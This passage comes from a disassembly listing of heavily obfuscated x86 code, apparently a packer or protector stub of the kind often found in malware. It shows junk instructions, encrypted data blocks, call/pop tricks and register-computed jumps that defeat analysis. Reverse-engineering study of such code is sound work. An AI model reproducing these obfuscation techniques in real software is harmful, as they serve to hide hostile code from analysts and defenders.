loc_5F4E31: ; CODE XREF: sub_5F4D80+94j push ebx mov cx, 4691h pop edi jmp loc_5F4DC1 ; --------------------------------------------------------------------------- dd 5A37651Eh, 51FB46ACh, 83F072E2h, 0A0C9EB48h db 0B3h, 0CFh, 0EFh ; --------------------------------------------------------------------------- loc_5F4E4F: ; CODE XREF: sub_5F4D80+9Fj jmp loc_5F4E5F ; --------------------------------------------------------------------------- dd 5DC4A548h, 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_5F4E5F: ; CODE XREF: sub_5F4D80:loc_5F4E4Fj jmp loc_5F5990 ; --------------------------------------------------------------------------- push 7F01200h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7F01322h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7F014F0h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7F015BDh jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7F01764h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7F01903h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7F01A2Dh jmp loc_5990C8 ; --------------------------------------------------------------------------- dw 67BFh dd 71AE23BBh, 8B8435ADh, 9BF65B43h, 0ACEA6F77h, 5AC47268h dd 0EEF41876h, 0FDE5316Bh, 298405Ch, 1288584Fh, 0E04CE7A5h dd 98A92F94h, 584FB31Dh, 0C036E88h, 0DA6FC6DCh, 7D5D2BC8h dd 6BA8A836h, 0ABEFF279h, 6E6DA928h, 7A9D8F0Ch, 3A6E9956h dd 5633E8F5h, 8C17DA95h, 0CE267492h, 0BA14003Ah, 42h, 801653D2h dd 9EF69B10h, 2734A928h, 6A64D4C3h, 27659956h, 0E23E83E7h dd 6A5AC66Dh, 0DD1E9956h, 0AAD47A9Ch, 0DC728E3Ch, 6D96D3C6h dd 53B3CF2Ch, 41AFC7h, 0BFDB14h, 8C90000h, 0A0AFCB0Bh dd 584F9F39h, 5036E88h, 1672D3C1h, 422FD7F2h, 167B9F4Bh dd 8D55B1FFh, 2DC9564Ch, 18A13F89h, 8C9D101h, 0C0A5C111h dd 0C8180F83h, 5AB8198Bh, 24B179BAh, 83C9C325h, 32E38818h dd 0A927FFh, 0ED7AEBF3h, 0A842E9FBh, 0D4A141B3h, 18DA1587h dd 0F9DD946Ch, 9C85843h, 7ED3CB0Bh, 5803FC20h, 232E0709h dd 9397805h, 574F0000h, 61BE138Bh, 7B9425BDh, 8B864B53h dd 9CFA5F47h, 6AF46278h, 0DEC40806h, 0EDF5217Bh, 0F2E8306Ch dd 298485Fh, 0F05CD755h, 0A8A92F96h, 0DF7E43EDh, 0FBF802C2h dd 0C03351E0h, 3F85052Bh, 8760E2A1h, 0BD9127ECh, 0DFC70457h dd 0EFF7237Ah, 8C16536Fh, 92B327E1h, 7BE72830h, 0D3BBC74Fh dd 19D6CA0Bh, 89A782F3h, 0C2425990h, 298F4429h, 117586A9h dd 575AB29Ah, 9D497599h, 0FEE20511h, 0E37513h, 4F2B0000h dd 0B9188858h, 105FBB5Bh, 0E6248D89h, 33D7C426h, 12A13F89h dd 2B72FFBh, 39E78C0Bh, 89A13F80h, 3F7F3EE2h, 93F9FAA1h dd 0ABE70340h, 0C224F02Ah, 0B8640F9Dh, 70A13F7Eh, 80C57863h dd 0C0DB7A6Eh, 90FA1E7Ah, 0CB081253h, 6ADB50D0h, 38A92890h dd 2CC74059h, 99566D00h, 107ABBB8h, 59F492D3h, 6D069A0Ch dd 0A1424178h, 61075BAh, 0BE235C5Eh, 6279BE62h, 8A4B599Ah dd 0C858488Ch, 6B08FD23h, 22EC591h, 0C6916B09h, 851C5FB5h dd 8E4E4C0Dh, 6947CF5h, 44E10F2Eh, 817h, 0FDE5356Dh, 79F3F5Ch dd 158D59B2h, 39A169A4h, 4C5A7A98h, 0E2208C96h, 0FB15A422h dd 0A06CBD3h, 2279D8C6h, 0B173E8F6h, 2F98163Ah, 65C7D2A9h dd 158D514Fh, 2FBD6DA4h, 4FAB77AEh, 9AFC2862h, 0F58D1455h dd 0EEB17E41h, 2DF91202h, 0ED9311E0h, 0C70C6EB2h, 65BC1B86h dd 6CA627B5h, 0A14A46A0h, 0A13FF67Bh, 0DCFF3C3Fh, 76801BC3h dd 0BB5FBB1Ah, 0AE7A9120h, 56489D30h, 27E0A942h, 9DE2A929h dd 11F1B445h, 0E68A985h, 36D63392h, 25F52CABh, 0D9051CBDh dd 0C1D75A9h, 2869BADAh, 39A6EBh, 0B69A1183h, 72995725h dd 0D1C62061h, 209D4888h, 14887E80h, 4B52DFDh, 0BE66BF0Dh dd 0AD741B5Ch, 0FC5B6C26h, 9F1C7EBFh, 12117FAEh, 4CAF574Bh dd 6AEE5E3h, 1092BF6Dh, 37787B12h, 299AB29h, 168C5CB3h dd 5ABC6CA3h, 0F3DB646h, 821210D0h, 25364286h, 0D00035BEh dd 88831210h, 405B2640h, 0C727E98h, 285A20DAh, 0B8376EBEh dd 10D00D33h, 438B8412h, 83D03827h, 9EF54442h, 10552872h dd 58610A9Eh, 0DA19F9E6h, 0C0810199h, 0FAF91DC5h, 0F317BBD7h dd 0ED7AD5CCh, 4342E9FBh, 311210D4h, 6AD3D822h, 23023E9Dh dd 4BABE71Fh, 3FAB179Bh, 387h, 0F25ED565h, 0B6023E95h dd 0BD9A3EA5h, 0CBF707Eh, 0F39FBEB7h, 62E75A41h, 0BED75C4Ch dd 0D4A928BDh, 1ABBEF87h, 59C2D9FDh, 1A65432Fh, 9D0FA126h dd 30AA3716h, 9E15A520h, 105E93B2h, 967E6576h, 9CF65745h dd 93A48823h, 1764105Eh, 7A4BCBD6h, 73EBF7EDh, 65943D57h dd 0E83FB424h, 86184B2Fh, 9B06CEC7h, 0D3726675h, 0C3766CBCh dd 84631CCCh, 97B91F7Bh, 649EC89h, 67BF0000h, 71AE23BBh dd 8B8435ADh, 9BF65B43h, 0ACEA6F77h, 5AC47268h, 0EEF41876h dd 0FDE5316Bh, 298405Ch, 1288584Fh, 0E04CE7A5h, 98A92F98h dd 1653B31Dh, 0C1801080h, 97FA1CC8h, 0D32547Ch, 6CB0EDCCh dd 0B59DEC75h, 54A7A928h, 0A6FF5E32h, 0CCD71C7Eh, 0A0CA160Dh dd 7A9130A0h, 0A4074CAEh, 1847A36Bh, 3F796D81h, 0FA434AAh dd 0A13F847Eh, 0EA6F7784h, 0D47567B3h, 0CB0812BAh, 445B26D0h dd 25597294h, 0E4346BC1h, 1B3145FEh, 7C591BE9h, 7F000002h dd 10801653h, 2F954F9Bh, 0C9CDFA9h, 178F4F4Dh, 0FDB3293h dd 5EFDE4EBh, 3D7A9C40h, 994F740Ah, 0DB38869Dh, 5F90DF3Bh dd 0EA69953Dh, 4A3774CFh, 26223F89h, 7CD17C9Ah, 0F2000005h dd 0E1504E9Ah, 0D77A60A4h, 0C98816BEh, 3D9C0ACEh, 9A73FDFh dd 894D4B27h, 0BE66A011h, 0AD759120h, 5D8D8435h, 911AEE45h dd 0A92F99ABh, 538E2A6Fh, 9B108016h, 0A92F954Fh, 177A9CDFh dd 7CAD000h, 40D0C010h, 3C2EA2EFh, 95027552h, 994E9AA7h dd 8D891063h, 0D93DED24h, 326A9C8Eh, 13970FDBh, 9A44E883h dd 0F704994Eh, 0A22373ECh, 0CC571407h, 9000001h, 6E88584Fh dd 327AFD32h, 0AA9F12E8h, 0A3C70B07h, 7F9625BCh, 4D9A4B53h dd 0DF3BDB39h, 0B1415390h, 0CD29F910h, 4B961B86h, 0B9A928DCh dd 0AA9E8229h, 195A9956h, 6B797A82h, 0AAEC50DBh, 0AFAC9956h dd 61CEC234h, 0EA810268h, 99576646h, 29BCF102h, 12FC479h dd 0B999575Dh, 0C56E75BAh, 99575C53h, 91FCEA14h, 82424001h dd 575D2715h, 799CE399h, 8B652BCBh, 803DA4E5h, 13FEC974h dd 4FE4h, 1653B800h, 0F0801080h, 8465CB60h, 0D625A13Fh dd 3F8473D9h, 0FC7737A1h, 0A13F8450h, 1F8ACB08h, 289EE78Ah dd 0A2FC5DA9h, 5A996F7Ah, 6AD17B30h, 69A9956h, 15B24129h dd 0A912711h, 50A4F214h, 3813FFF1h, 0A3h, 68ACE968h, 7EDAC10Eh dd 1888584Fh, 191AADD7h, 1471EEABh, 0EE28B3F0h, 25418583h dd 7195455Ch, 0B129F910h, 0CB799031h, 0A2C405D1h, 0DC001EBDh dd 852EB5BAh, 0A13FD861h, 851DCDC4h, 97059B28h, 2BA4671Ch dd 0F3AEB1A9h, 0A7951ECFh, 639953B3h, 516DDF10h, 450494D5h dd 0BA1F8747h, 0CC7B85Ch, 1F263921h, 3D554F1h, 0F32B0000h dd 0FD1ABF27h, 1770C1D9h, 2762D7CFh, 3856FBE3h, 0CE500E94h dd 7A60A4E2h, 8911BDD7h, 9E04CCC8h, 0AE34E43Bh, 54F87331h dd 14A92F9Bh, 514F2781h, 6DA4158Dh, 4F9125BDh, 36E8858h dd 6FC6DC0Ch, 5FD4C4DAh, 0A9289B8Eh, 0CB95836Ch, 5599F749h dd 1F509139h, 0D9007C96h, 0F41C8774h, 4E0F83E7h, 0EB51DA55h dd 0AF995619h, 0EF746FACh, 9956193Fh, 0BD20C638h, 199A862Dh dd 1D5E9956h, 89E2B86h, 30CA1398h, 9130A13Fh, 0CC34AF77h dd 2F6CB0EDh, 789233B7h, 7E8335ACh, 0FB1FC3DFh, 376EEDF4h dd 0B2138FEBh, 0A928B357h, 8538A672h, 9B3AAE40h, 0C3415880h dd 289DA528h, 0B2D427A9h, 0FE267FDEh, 6CCE7EE3h, 65999956h dd 0CCE13581h, 568913FFh, 0CF000000h, 10801653h, 4996DDDFh dd 1D966445h, 0A1404A2Fh, 30ABE8EBh, 64563BB0h, 4794A929h dd 0FB806F23h, 0C20A0387h, 7276BBB8h, 6AFFEACCh, 9956B1C2h dd 0C6871785h, 0A38906CAh, 679956B1h, 75918D14h, 0FF8BDD39h dd 0AEEB6A13h, 6AA50C6Eh, 0D7A61A6h, 0C0h, 88584F43h, 0C105036Eh dd 15C5DCA5h, 0A97990F1h, 8950AA31h, 0DE35A13Fh, 0EE259432h dd 7F56FA71h, 3D5BA13Fh, 23607399h, 0B03BCBC7h, 0A13F7F8Ch dd 39940F4Ch, 0DA63AACh, 0A928A110h, 32DA3392h, 8F0EBE8h dd 0E562D3CBh, 174AE1F3h, 75A14237h, 0BBD7266h, 0F7ABC7A0h dd 5FFBE7F7h, 8FCD1512h, 0D7359414h dd 0EC2AAF37h, 7DC65728h, 7B852E06h, 236D2h, 84544C00h dd 0BE5EBB1Eh, 0AC789120h, 40888336h, 7599F75Ah, 16DF76Dh dd 76DBC303h, 67EAF01Ch, 5AFFE72Bh, 500F9743h, 9DF55BD0h dd 0E0B5A92Fh, 0C5DF7E44h, 0D5338219h, 0F128A931h, 9929B921h dd 3F852E12h, 908BEAA1h, 24900B48h, 10801653h, 289EF69Bh dd 4B4534A9h, 3B786783h, 27EF28A9h, 0E9465ABCh, 0E228399Ah dd 0FA6F7A5Bh, 99567E52h, 9EFDE915h, 7EB7650Eh, 60739956h dd 0BEB0C479h, 0E3D813FFh, 0FC000000h, 6E88584Fh, 1ABFFD32h dd 4A874745h, 0A8332FE1h, 0CF2BEB29h, 38B343D3h, 0A1401414h dd 220E87D4h, 0E6A14014h, 81650E95h, 0E4A14018h, 0E5657DADh dd 7098F455h, 7CA02916h, 3CA1400Eh, 0FE15A43Fh, 70F5C8D2h dd 444E1872h, 3370BC30h, 0C3170AA1h, 84F5A928h, 851D428Ah dd 97059B28h, 0D135D936h, 0F279F792h, 0A1425520h, 0B134EB44h dd 0D58DF586h, 0CCD714B8h, 0C33C5544h, 6AAF0428h, 76B7C491h dd 0FAEE2F14h, 1A71856Ah, 50C0EE3Dh, 488C8A49h, 1FA1FF52h dd 0E69BD808h, 2E063107h, 0C9F2640h, 62000001h, 51E0FE2Ah dd 470A9034h, 0B918864Eh, 0AD2CBA5Eh, 9937AF6Fh, 39DD3B97h dd 2EF610A1h, 0DD0501B0h, 0CD1D74C5h, 1AA7ED5h, 0A92F9F1Bh dd 4F7EDADFh, 12B2EF51h, 4889554Fh, 78A8FF52h, 584FEA62h dd 2465B1EAh, 78A8FFC2h, 0A3748768h, 74885C6h, 47A36BA4h dd 54098118h, 7B0B990Fh, 0E82C6AEBh, 0E448418Eh, 0A4A1406Fh dd 0FA74C57h, 0DFA93080h, 5E78A44Fh, 0A3489950h, 99505E7Dh dd 81D23E3Dh, 0F9F7AF4Ch, 435E94ECh, 0DA46EDBDh, 9E994FBBh dd 97FA1C5Dh, 874A5080h, 3DE92290h, 3A5C809Eh, 0E592F435h dd 0F3847552h, 48527E95h, 0FEEB2F69h, 4758400Fh, 2C274380h dd 2CF20CFAh, 0F989F412h, 1B2ACE72h, 52498A3Fh, 667CACE3h dd 0E32763E2h, 0F2415887h, 462B4F9Bh, 7F63874Bh, 2878806Fh dd 11428682h, 0F1E85156h, 5CB3E91Dh, 6CA3168Ch, 14B35ABCh dd 0D1000000h, 4701EE7Eh, 0E0FBFB35h, 85C66A63h, 7182A13Fh dd 4F422E6Ah, 26F8B57h, 0D6BBDF0Bh, 0ADF416BAh, 624FAB73h dd 3B86E024h, 0F4DD39DDh, 4C157199h, 26F8B53h, 0B7A5C105h dd 7DAD68h, 240C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+44h+var_44] pop esp mov [esp+40h+var_40], edx push 2504h mov [esp+44h+var_44], ecx push ebx push 4A8D41F1h pop ebx not ebx and ebx, 52FC3CD6h sub ebx, 0FFFFFFFFh add ebx, 0F77FD4E9h mov edx, ebx pop ebx push 47C5h mov [esp+0], esp add dword ptr [esp+0], 4 pop ecx sub esp, 4 mov [esp+0], edx pop dword ptr [ecx+8] push [esp+44h+var_44] pop ecx add esp, 4 push [esp+40h+var_40] pop edx add esp, 4 jmp loc_5990C8 ; --------------------------------------------------------------------------- dd 94657D65h, 0F922BCE0h ; --------------------------------------------------------------------------- loc_5F5990: ; CODE XREF: sub_5F4D80:loc_5F4E5Fj mov eax, 7F01B5Eh add eax, ebp jmp eax sub_5F4D80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5Dh, 0ADh, 80h dd 8391A135h, 0C68FF318h, 97E5D714h, 0F94CA11h, 98461171h dd 6276BA56h, 1CC6E164h, 0BFA79B60h, 113B1162h, 0CF35F912h dd 29ED693Ch, 0C2FD291Eh, 40958138h, 4D4F5313h, 43277502h dd 7C18605Fh, 0AADD8406h, 0AA12570Bh, 0A5C9176Ah, 2BF6E857h dd 0AB5BAA47h, 0AE6E994Ah, 7D93F725h, 0AFAA141Bh, 390DF80Ch dd 2227060Dh, 0BD1B9045h, 0E7B85158h, 6B25A950h, 14E803h dd 18CE0000h, 2156A81Bh, 1C6F2DE4h, 0C702EF3Ch, 10129E9h dd 8166FAA9h, 596581F0h, 0AE8h, 94A95300h, 2ADB5CF4h, 5E72AF3Bh dd 6A89C181h, 81660000h, 0BB2318C8h, 7988C850h, 0D23FF381h dd 0C8817988h, 465B5CF9h, 0C2B831FFh, 5F071363h, 700CF781h dd 12E80A21h, 1A000000h, 3C6E0453h, 0EF04741h, 0BE64E68Dh dd 0D52E173Dh, 0E68166B2h, 8158D1DCh, 5A2CF1C7h, 2FF08050h dd 0FF93C781h, 820F7FF6h, 14h, 8E8h, 4E5F0000h, 24027A59h dd 840FC2h, 5A000000h, 7E93989h, 83000000h, 43C16182h dd 0E9816613h, 3728C021h, 0C1810CB0h, 3728C01Dh, 38E0Fh dd 0BF0F0000h, 850F4BC0h, 0FFFFFF80h, 5870Fh, 81660000h dd 8D69BED6h, 0F01E108Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0D5DE5B9Fh dd 2432FF62h, 3890F72h, 66000000h, 0DBBBF08Bh, 8951C399h dd 0E9320D8Dh, 77D68107h, 0F4CF8AAh, 85C7C1BFh, 7E922E5h dd 672Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 83C35141h, 5EE80BBAh, 85C79336h, 7E922B1h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5F5B6F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F5B6F proc near ; CODE XREF: sdfs____:005F5B67p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5F5B6F endp ; --------------------------------------------------------------------------- db 63h dd 9C0ED14Dh, 17E9ADDCh, 0F5B5293Ah, 8007E917h, 0B5FF09DBh dd 7E93151h, 2061B529h, 95FF07E9h, 7E92285h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C7C35141h, 6A51E660h dd 3195FF00h, 8B07E90Ch, 1A48EBC0h, 5AA1D210h, 0EB72DF76h dd 0EB14288Bh, 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 241F9ECAh dd 0A48A4109h, 0CC6CE185h, 0E8207A87h, 74EB251Dh, 78291E2Ah dd 719D4513h, 0B438B540h, 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h dd 0E9C1CFA5h, 30h, 5FA359B5h, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5F6159 ; --------------------------------------------------------------------------- push 7F01FA9h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F02028h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F02199h jmp loc_58B97E ; --------------------------------------------------------------------------- db 0FFh dd 27911C5Ch, 68C46913h, 9F39B4C6h, 0CC680587h, 4AA25329h dd 0C688DEDh, 5EDE3761h, 0AAD265D7h, 0F183A90Bh, 128F1B7Ch dd 286CA692h, 781A4882h, 0C4F3B3EEh, 871D305Ch, 0C4FCBCF5h dd 8E14305Ch, 99E376A2h, 91E30945h, 74346D07h, 54305CC5h dd 5C66BE3Ch, 3B867230h, 0C862F560h, 5991EB0Ch, 0A30B524Fh dd 198B37B5h, 0A3805CC5h, 0D6782873h, 0D87C58A4h, 0ADA742A2h dd 0B472EE0Ch, 0BE7AF828h, 966EAB52h, 0D08C1A02h, 31Fh dd 35B93FF2h, 661BAD3Ah, 37B59F73h, 0BFC15743h, 4FCF5D67h dd 1F9DF551h, 381F32D3h, 0B26054Dh, 0B4970A9Ch, 62326711h dd 0E29FC40h, 6BF38DAFh, 9721B7C1h, 0F3532DCFh, 0F2AF39F1h dd 2A7DD79Ah, 64FE881Ah, 21256F8h, 9012F280h, 9CDE7C58h dd 0D153420Ah, 36BB770Dh, 6B06709Ah, 26C0E11Ch, 4F33A4B8h dd 0E3000003h, 2B852848h, 5CF87507h, 832DC0BAh, 309C1193h dd 46D65F1Dh, 185CF1E1h, 6AEA3B95h, 0B6C669CBh, 0FD7F9D3Fh dd 1E930F70h, 286CA59Eh, 0B3664476h, 0ECA537A0h, 384CA546h dd 0B44ED8CAh, 6CA5BDFDh, 9B4A5728h, 0CC58A835h, 0A9C54EAh dd 20CDAF42h, 621F61F4h, 286C1F22h, 7E25B0F2h, 69CABC3h dd 0C68E18AEh, 0E8FA4A34h, 9835EC00h, 52286BEEh, 5E33BEB8h dd 7E3410DBh, 2D0F1E6h, 0C9620000h, 86AA06AFh, 39DF79F4h dd 1202AE47h, 9EB31D90h, 60D957DEh, 169FDD70h, 44E96BBAh dd 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch, 0F1286CA5h, 0A0B3E5DBh dd 430BA537h, 6D77CFA9h, 0FF3BB9E9h, 4CA6280Eh, 0A4B61E38h dd 0B0780ADAh, 700ED6CCh, 0F03842D4h, 6CA6B511h, 6A7AB28h dd 20F9EBD5h, 1D50B8Ch, 4A5F0000h, 33B1E0A0h, 0E343D1D3h dd 0BA3B45D7h, 49E374E7h, 7DFF17BFh, 0C4F6B6EBh, 841E305Ch dd 0ABBEDDACh, 0F8D437B5h, 4D912755h, 73ABF8D4h, 0B960EC28h dd 19F5A818h, 0D1C18D8Ch, 55F1F353h, 237EBAC2h, 46h, 37A0B387h dd 710BA5h, 305CC580h, 27261290h, 37B5ABA8h, 5E68B4EEh dd 0EB6629C4h, 2FF01DABh, 72DB3A7Ah, 31712028h, 0E32872DBh dd 4DE1CDC1h, 0B051992Fh, 2872DB14h, 74A544C8h, 8C1ACA8Ch dd 0DCEAh, 0A04AF800h, 0AF420ED6h, 0B74571CDh, 86AB33C5h dd 5C942EF6h, 0C6DE8600h, 86A8044h, 5642AE34h, 0AB3BBAC4h dd 856D0F23h, 5CBF86C4h, 2948E230h, 1AC64973h, 0CB500F82h dd 51B2CB62h, 73A29BCh, 531F410Fh, 73A32BBDh, 5B972DF1h dd 87100356h, 8D1058F5h, 0D2BBC005h, 6EF68066h, 566CB0CAh dd 9C12EB9Ah, 0FE6637B0h, 0C5DF2759h, 8923816Dh, 0A14C28CDh dd 1F9AE277h, 340C266Ch, 5FEBDC10h, 0D3000001h, 1BB53838h dd 4CE885F7h, 0F35DD0AAh, 208C21A3h, 56C66F0Dh, 284CE1D1h dd 7AFA2B85h, 0C6B659FBh, 0D6F8D2Fh, 0EEA3FF60h, 286CA3AEh dd 4A765466h, 0E0A0D1A7h, 0CA305CC4h, 5CC4D7D7h, 2B6B3930h dd 0EE4AEB79h, 8BF1044Ch, 19B29BBh, 0A2F2B045h, 30C6DC20h dd 971AD6ECh, 0D6A04A33h, 4769844h, 6110AA38h, 305CC521h dd 2579B1F3h, 1090019Bh, 305CC5h, 0C86256A2h, 60B01CAEh dd 0A6D07AE2h, 0E1EC445Eh, 4130A34Eh, 305CC541h, 27E5D6D3h dd 83619772h, 0D4CD5FEDh, 37B1BD1Ah, 2F4DE06Ch, 2751FBD7h dd 0FB37C5DFh, 61FB8D17h, 0CD2557E5h, 0BD3044E9h, 72BBEAC6h dd 0E688228h, 54203567h, 98D788h, 0B36F0000h, 8A537A0h dd 3456D641h, 8F86466Ah, 47B3310Dh, 360E3061h, 6DF8384Ch dd 0BC5ADE5Fh, 0E68A66A3h, 8FA22ABCh, 0A79311EDh, 0D7AD4F0Bh dd 6C8CDADAh, 0B85E3A28h, 13A230C6h, 15E98BA1h, 380EB16Ch dd 0DB594960h, 0D4A84F0Bh, 190EDDDDh, 0DF6D37D0h, 7A64A07h dd 1FBE52FBh, 54544DE7h, 45D0190Fh, 0F520B435h, 53513D93h dd 5F1933E7h, 688C48D6h, 58F22612h, 9A8AC61Eh, 0ADD3C418h dd 0A053EA0Ch, 48EC75F2h, 0B44672BEh, 63892BCAh, 39ACD11h dd 24000000h, 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h dd 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h db 0A9h, 55h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push 46C5h mov [esp], edx push ebp mov ebp, 2B7F7106h shl ebp, 2 inc ebp xor ebp, 0AA0DDAACh mov ecx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push ebx mov ebx, ecx mov [edx+8], ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- db 28h, 1, 12h db 0B2h ; --------------------------------------------------------------------------- loc_5F6159: ; CODE XREF: sdfs____:005F5C4Cj mov eax, 7F0231Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 5407h dd 0D03E4FCEh, 9CAF7ECEh, 19FF5B61h, 0EF3932D7h, 11550D54h dd 0CAD207D2h, 9BF40442h, 0D742300Ch, 8A357F1Ch, 0C87030C9h dd 0D35A200Ah, 585F23DDh, 4EB846CAh, 0B1D07FA7h, 53FA71FFh dd 0D53254EFh, 0DE51317Fh, 0D75B2E10h, 325877E8h, 78397C0Bh dd 0C4829BBh, 0E0F13737h, 9BF767B7h, 0C27C4E0Bh, 2E03100Ch dd 0E5870019h, 8D8D0F13h, 7F024E2h, 29D9BD89h, 8D8907E9h dd 7E9320Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 6BC35747h, 665031A1h, 0C75FD18Bh, 0E922E585h, 6C5407h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 88E40604h, 7D0A39AAh, 38C0Fh, 0F3800000h dd 0FEBF66D4h, 0B185C754h, 7E922h, 0F000000h, 68Bh, 4D958900h dd 0FF07E92Fh, 0E90E1DB5h, 0EE907h, 0E840000h, 85C3F4D9h dd 1714C456h, 15FF9BFh, 228595FFh, 6A07E9h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0B1D1FC3h dd 0E9263995h, 0FF006A07h, 0E90C3195h, 0EBC08B07h, 48A6BE6Ah dd 384E7CD4h, 0E05D8267h, 9376E6EFh, 0C20CFC19h, 759392ABh dd 81C1AFA0h, 0CED18DBBh, 0E0E78FAAh, 1F342789h, 8390887Ah dd 0BD750EA8h, 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh, 737F00B3h dd 0C778BD07h, 4758A9BFh, 0BCB3BF91h, 8555EA87h, 4849D208h dd 0A7348F61h, 0DBFD6126h, 0F0450C55h, 0F4DCB5FCh, 4914D6E4h dd 8DC6054Ah, 0F026468Dh, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 2E6BED6Eh dd 82DB589h, 8D8907E9h, 7E9320Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 85C35646h, 1C6A05A6h, 6087D669h dd 0C761CC8Ah, 0E922E585h, 57EC07h, 9B58B00h, 0C707E91Ch dd 0E922B185h, 7, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 44F57C71h, 0FEB8DD33h dd 0E8DF8B66h, 0Bh, 57D9838Fh, 2D4DE792h, 0BE1523FEh, 74454D88h dd 79B5FF58h, 6A07E922h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 29D3C357h, 0E900B5B5h dd 6890F07h, 89000000h, 0E923558Dh, 8595FF07h, 907E922h dd 0E92B3D85h, 0FF006A07h, 0E90C3195h, 0EBC08B07h, 5EE9025Fh dd 1555FA45h, 93B167FDh, 0B675D182h, 94A7020Fh, 1EB1D83Ah dd 6FA537E6h, 8E32D924h, 0A217C12Dh, 1E6D4AA1h, 9EFDE2CAh dd 0CACEB128h, 0D6E64FB2h, 8DC10376h, 0C20AFC6Fh, 352129C9h dd 2D4A619Dh, 7C1CAF05h, 4E6F6FF6h, 64C14829h, 6047B113h dd 405A6366h, 0A327CEC4h, 574D4182h, 0AE8h, 30E6D100h dd 3276B79Ah, 0E9AC7415h, 0Dh, 92ADE732h, 0F20BD415h, 88C44A2Eh dd 0B70F588Ah, 0E8C081D8h, 0F000061h, 0C80h, 6850F00h dd 0F000000h, 80h, 184D6800h, 840F0000h, 6, 25418589h dd 0F5F07E9h, 30FFF6BFh, 805A5B50h, 0C28190E5h, 235378Bh dd 81CBDF80h, 304FEF2h, 0FE852h, 6A8D0000h, 0F8CB8454h dd 0D625D687h, 4FF94FEBh, 0CD8D8B27h, 5E07E907h, 82F1F281h dd 5E87D24h, 0E6000000h, 1CCC1331h, 22C19D8Bh, 525B07E9h dd 38E0Fh, 0B70F0000h, 0B1008FC9h, 4E883E8h, 0EF83C88Bh dd 9B850F01h, 8BFFFFFFh, 0E9086D9Dh, 11E807h, 0B5600000h dd 87F732D8h, 1D4981FFh, 33235CDCh, 8B7886F2h, 0C5B859F3h dd 8124A7BAh, 5DC7C1h, 0D9B70F00h, 5256D233h, 5B59EB80h dd 0A34FF5Bh, 8E8h, 45390F00h, 82862C5Bh, 91858986h, 5B07E926h dd 0E2CE815Fh, 814F29A4h, 0A4298FC7h, 0C28B665Ch, 0D452EF81h dd 8B664BBFh, 0A8C781F0h, 0E8474C47h, 10h, 7D26FB7Dh, 3EDB50E8h dd 5BA8461Bh, 0F2A69861h, 113C8958h, 68A0Fh, 0B50B0000h dd 7E92655h, 1BE99589h, 0EA8307E9h, 0A98D3104h, 8107E923h dd 0FFA2DCFAh, 8A850FFFh, 8BFFFFFFh, 0E90C59B5h, 0DD8D8D07h dd 6A07F028h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 2D2AC352h, 0BB080465h, 0F603C7Ah dd 8961CFB7h, 0E92E3195h, 0D8D8907h, 6A07E932h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0AB52C352h, 0F1C4F982h, 0D813B83Bh, 85C7506Eh, 7E922E5h dd 6844h, 2AAD958Bh, 85C707E9h, 7E922B1h, 0 ; --------------------------------------------------------------------------- mov edi, [ebp+7E923D9h] push dword ptr [ebp+7E9170Dh] add ebx, [ebp+7E916F5h] call dword ptr [ebp+7E92285h] push 0 push ebp call sub_5F666B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F666B proc near ; CODE XREF: sdfs____:005F6663p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5F666B endp ; --------------------------------------------------------------------------- db 0ABh dd 436DA10Fh, 0ECCB811Fh, 8058D68Dh, 858933D2h, 7E93571h dd 95FF006Ah, 7E90C31h, 28EBC08Bh, 5C89F774h, 4087425Eh dd 0AB01F36Bh, 840F688Bh, 